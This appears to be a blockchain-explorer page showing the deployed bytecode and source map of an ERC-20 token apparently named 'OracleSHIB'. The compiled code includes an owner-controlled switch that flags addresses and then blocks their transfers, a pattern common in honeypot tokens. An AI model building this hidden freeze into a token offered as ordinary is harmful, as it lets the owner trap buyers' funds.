ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e58576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eec565b610e6b838261164690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600a81526020017f4f7261636c65534849420000000000000000000000000000000000000000000081525081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111525750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111a957600082146111a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111e357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561122e57600080fd5b61127f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611312826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061145482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165257fe5b818303905092915050565b600081830190508281101561166e57fe5b8090509291505056fea265627a7a723058202db6c8fa868b02cea220cf517780066232dda59f09a47ad6b7f9c10da236bf3164736f6c634300050a0032

Deployed Bytecode Sourcemap

6227:493:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6227:493:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6276:48;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;6276:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4980:313;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4980:313:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;4782:192;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4782:192:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;2632:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4035:574;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4035:574:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6417:82;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6378:34;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5470:440;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5470:440:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;2746:127;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;2746:127:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6329:44;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;6329:44:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5299:167;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5299:167:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;2879:444;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;2879:444:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5918:302;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5918:302:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4615:161;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4615:161:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6276:48;;;;;;;;;;;;;;;;;;;:::o;4980:313::-;5086:8;;;;;;;;;;;5072:22;;:10;:22;;;5064:31;;;;;;5149:4;5106:47;;:15;:39;5122:22;5106:39;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;5102:186;;;5206:5;5164:15;:39;5180:22;5164:39;;;;;;;;;;;;;;;;:47;;;;;;;;;;;;;;;;;;5102:186;;;5276:4;5234:15;:39;5250:22;5234:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;5102:186;4980:313;:::o;4782:192::-;4849:4;4894:6;4862:7;:19;4870:10;4862:19;;;;;;;;;;;;;;;:29;4882:8;4862:29;;;;;;;;;;;;;;;:38;;;;4933:8;4912:38;;4921:10;4912:38;;;4943:6;4912:38;;;;;;;;;;;;;;;;;;4964:4;4957:11;;4782:192;;;;:::o;2632:108::-;2696:7;2722:12;;2715:19;;2632:108;:::o;4035:574::-;4147:4;4166:15;:22;4182:5;4166:22;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;4192:15;:20;4208:3;4192:20;;;;;;;;;;;;;;;;;;;;;;;;;4166:46;4163:82;;;4239:1;4229:6;:11;4220:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4163:82;4275:1;4260:17;;:3;:17;;;;4252:26;;;;;;4303:8;:15;4312:5;4303:15;;;;;;;;;;;;;;;;4293:6;:25;;4285:34;;;;;;4344:7;:14;4352:5;4344:14;;;;;;;;;;;;;;;:26;4359:10;4344:26;;;;;;;;;;;;;;;;4334:6;:36;;4326:45;;;;;;4396:27;4416:6;4396:8;:15;4405:5;4396:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;4378:8;:15;4387:5;4378:15;;;;;;;;;;;;;;;:45;;;;4446:25;4464:6;4446:8;:13;4455:3;4446:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;4430:8;:13;4439:3;4430:13;;;;;;;;;;;;;;;:41;;;;4507:38;4538:6;4507:7;:14;4515:5;4507:14;;;;;;;;;;;;;;;:26;4522:10;4507:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;4478:7;:14;4486:5;4478:14;;;;;;;;;;;;;;;:26;4493:10;4478:26;;;;;;;;;;;;;;;:67;;;;4573:3;4557:28;;4566:5;4557:28;;;4578:6;4557:28;;;;;;;;;;;;;;;;;;4599:4;4592:11;;4035:574;;;;;:::o;6417:82::-;6411:1;6481:17;;6475:2;:23;6458:13;:41;6417:82;:::o;6378:34::-;6411:1;6378:34;:::o;5470:440::-;5578:4;5594:13;5610:7;:19;5618:10;5610:19;;;;;;;;;;;;;;;:29;5630:8;5610:29;;;;;;;;;;;;;;;;5594:45;;5669:8;5650:16;:27;5646:168;;;5720:1;5688:7;:19;5696:10;5688:19;;;;;;;;;;;;;;;:29;5708:8;5688:29;;;;;;;;;;;;;;;:33;;;;5646:168;;;5776:30;5789:16;5776:8;:12;;:30;;;;:::i;:::-;5744:7;:19;5752:10;5744:19;;;;;;;;;;;;;;;:29;5764:8;5744:29;;;;;;;;;;;;;;;:62;;;;5646:168;5846:8;5825:61;;5834:10;5825:61;;;5856:7;:19;5864:10;5856:19;;;;;;;;;;;;;;;:29;5876:8;5856:29;;;;;;;;;;;;;;;;5825:61;;;;;;;;;;;;;;;;;;5900:4;5893:11;;;5470:440;;;;:::o;2746:127::-;2828:7;2851:8;:16;2860:6;2851:16;;;;;;;;;;;;;;;;2844:23;;2746:127;;;:::o;6329:44::-;;;;;;;;;;;;;;;;;;;:::o;5299:167::-;5397:4;5421:15;:39;5437:22;5421:39;;;;;;;;;;;;;;;;;;;;;;;;;5414:46;;5299:167;;;:::o;2879:444::-;2962:4;2981:15;:27;2997:10;2981:27;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;;3012:15;:20;3028:3;3012:20;;;;;;;;;;;;;;;;;;;;;;;;;2981:51;2978:87;;;3059:1;3049:6;:11;3040:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2978:87;3095:1;3080:17;;:3;:17;;;;3072:26;;;;;;3123:8;:20;3132:10;3123:20;;;;;;;;;;;;;;;;3113:6;:30;;3105:39;;;;;;3174:32;3199:6;3174:8;:20;3183:10;3174:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;3151:8;:20;3160:10;3151:20;;;;;;;;;;;;;;;:55;;;;3229:25;3247:6;3229:8;:13;3238:3;3229:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;3213:8;:13;3222:3;3213:13;;;;;;;;;;;;;;;:41;;;;3287:3;3266:33;;3275:10;3266:33;;;3292:6;3266:33;;;;;;;;;;;;;;;;;;3313:4;3306:11;;2879:444;;;;:::o;5918:302::-;6021:4;6076:46;6110:11;6076:7;:19;6084:10;6076:19;;;;;;;;;;;;;;;:29;6096:8;6076:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;6037:7;:19;6045:10;6037:19;;;;;;;;;;;;;;;:29;6057:8;6037:29;;;;;;;;;;;;;;;:86;;;;6156:8;6135:61;;6144:10;6135:61;;;6166:7;:19;6174:10;6166:19;;;;;;;;;;;;;;;:29;6186:8;6166:29;;;;;;;;;;;;;;;;6135:61;;;;;;;;;;;;;;;;;;6210:4;6203:11;;5918:302;;;;:::o;4615:161::-;4719:7;4745;:15;4753:6;4745:15;;;;;;;;;;;;;;;:25;4761:8;4745:25;;;;;;;;;;;;;;;;4738:32;;4615:161;;;;:::o;1589:147::-;1678:7;1709:1;1704;:6;;1697:14;;;;1729:1;1725;:5;1718:12;;1589:147;;;;:::o;1742:155::-;1825:9;1854:1;1850;:5;1846:9;;1874:1;1869;:6;;1862:14;;;;1890:1;1883:8;;1742:155;;;;:::o

Swarm Source

bzzr://2db6c8fa868b02cea220cf517780066232dda59f09a47ad6b7f9c10da236bf31

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.